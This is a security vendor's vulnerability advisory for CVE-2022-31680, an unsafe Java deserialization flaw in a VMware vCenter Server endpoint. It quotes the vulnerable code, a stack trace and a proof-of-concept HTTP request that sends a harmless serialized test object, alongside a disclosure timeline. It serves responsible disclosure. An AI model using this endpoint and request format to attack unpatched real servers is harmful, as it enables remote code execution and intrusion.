Talos Vulnerability Report

TALOS-2022-1587

VMware vCenter Server Platform Services Controller Unsafe Deserialization vulnerability

OCTOBER 10, 2022

CVE NUMBER

CVE-2022-31680

SUMMARY

An unsafe deserialization vulnerability exists in the Platform Services Controller functionality of VMware vCenter Server 6.5 Update 3t. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

VMware vCenter Server 6.5 Update 3t

PRODUCT URLS

vCenter Server - https://www.vmware.com/products/vcenter-server.html

CVSSV3 SCORE

8.7 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

CWE

CWE-502 - Deserialization of Untrusted Data

DETAILS

VMware vCenter Server is a platform that enables centralized control and monitoring over all virtual machines and EXSi hypervisors included in vSphere.

A post-authentication java deserialization vulnerability exists in the `data` handler of the `psc ( Platform Services Controller)` service. Let us take a look at the vulnerable part of the code. Going down to the implementation of `/psc/data/constraint/{constraintBlob}/*` handler, we can see the following code:

```
getDataByConstraint

Line 1  @RequestMapping({"/constraint/{constraintBlob}"})
Line 2  @ResponseBody
Line 3  public Map<String, Object>
getDataByConstraint(@PathVariable("constraintBlob") String
serializedConstraintObject, @RequestParam(value = "properties", required = false)
String paramString2) throws Exception {
Line 4    if (StringUtil.isNullOrWhitespace(serializedConstraintObject))
Line 5      return null;
Line 6    Constraint constraint =
CommonUtils.deserializeConstaintFromBase64Str(serializedConstraintObject);
    (...)
```

User is able to pass to this servlet serialized `Constraint` object encoded additionally with Base64 as a part of the url `line 6`. Looking into the implementation of `deserializeConstaintFromBase64Str` we see the following code :

```
deserializeConstaintFromBase64Str

Line 41  public static Constraint deserializeConstaintFromBase64Str(String
paramString) {
Line 42    Constraint constraint = null;
Line 43    byte[] arrayOfByte = Base64.decodeBase64(paramString);
Line 44    ByteArrayInputStream byteArrayInputStream = new
ByteArrayInputStream(arrayOfByte);
Line 45    try {
Line 46      JBossObjectInputStream jBossObjectInputStream = new
JBossObjectInputStream(byteArrayInputStream);
Line 47      constraint = (Constraint)jBossObjectInputStream.readObject();
Line 48      StreamUtil.close((Closeable)jBossObjectInputStream);
Line 49    } catch (IOException iOException) {
Line 50      _logger.error("Was not able to create a JBossObjectInputStream");
Line 51    } catch (ClassNotFoundException classNotFoundException) {
Line 52      _logger.error("Was not able to deserialize Constraint object from
JBossObjectInputStream");
Line 53    } finally {
Line 54      StreamUtil.close(byteArrayInputStream);
Line 55    }
Line 56    return constraint;
Line 57  }
```

As you might see, there is no filtration related with deserialized objects `lines 43-46`. Developers don't check at all what kind of object has been deserialized, then create an instance of it at `line 47`. We can confirm an attempted instantiation of any class passed to this servlet by serializing and sending, for instance, a simple custom class called `Employee`. In `psc` logs we can then observe the following error :

```
java.lang.ClassNotFoundException: Employee
    at
org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.jav
a:1415)
    at
org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.jav
a:1223)
    at java.lang.Class.forName0(Native Method)
    at java.lang.Class.forName(Class.java:348)
    at
org.jboss.serial.io.JBossObjectInputStream.resolveClass(JBossObjectInputStream.java:
141)
    at
org.jboss.serial.io.JBossObjectInputStream$1.resolveClass(JBossObjectInputStream.jav
a:127)
    at
org.jboss.serial.classmetamodel.ClassMetamodelFactory.resolveClassByName(ClassMetamo
delFactory.java:266)
    at
org.jboss.serial.classmetamodel.ClassMetamodelFactory.getClassMetaData(ClassMetamode
lFactory.java:289)
    at
org.jboss.serial.classmetamodel.StreamingClass.readStream(StreamingClass.java:72)
    at
org.jboss.serial.objectmetamodel.ObjectDescriptorFactory.readObjectDescriptionFromSt
reaming(ObjectDescriptorFactory.java:381)
    at
org.jboss.serial.objectmetamodel.ObjectDescriptorFactory.objectFromDescription(Objec
tDescriptorFactory.java:82)
    at
org.jboss.serial.objectmetamodel.DataContainer$DataContainerDirectInput.readObject(D
ataContainer.java:643)
    at
org.jboss.serial.io.JBossObjectInputStream.readObjectOverride(JBossObjectInputStream
.java:163)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:492)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)
    at
com.vmware.vise.mvc.util.CommonUtils.deserializeConstaintFromBase64Str(CommonUtils.j
ava:68)
    at
com.vmware.vise.mvc.controllers.DataAccessController.getDataByConstraint(DataAccessC
ontroller.java:142)
    (...)
```

Such an approach to data deserialization is very dangerous and might allow an attacker to execute an arbitrary command.

Exploit Proof of Concept

REQ

```
GET /psc/data/constraint/amJzMXszAAAAATMAAAACAAAIRW1wbG95ZWUAASL6C7Hsp5eXAAKXEjO-
44rgaCk1FZKH_mF7AQQAAAADAAAGTWFyY2luAAB6aQ HTTP/1.1
Host: 192.168.0.109
Cookie: JSESSIONID=D8E403940B6B595FF53158ED63671A69; XSRF-TOKEN=b28efbac-6d3c-4fcb-
b177-baee9c1e005e; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; VSPHERE-CLIENT-
SESSION-INDEX=_87577cc1f7ac5bba20fe8d947d9ffcfe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
Firefox/103.0
Accept: application/json, text/plain, */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Pragma: no-cache
Isangularrequest: true
X-Xsrf-Token: b28efbac-6d3c-4fcb-b177-baee9c1e005e
Referer: https://192.168.0.109/psc/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
```

TIMELINE

2022-08-09 - Vendor Disclosure

2022-10-06 - Vendor Patch Release

2022-10-10 - Public Release

CREDIT

Discovered by Marcin 'Icewall' Noga of Cisco Talos.
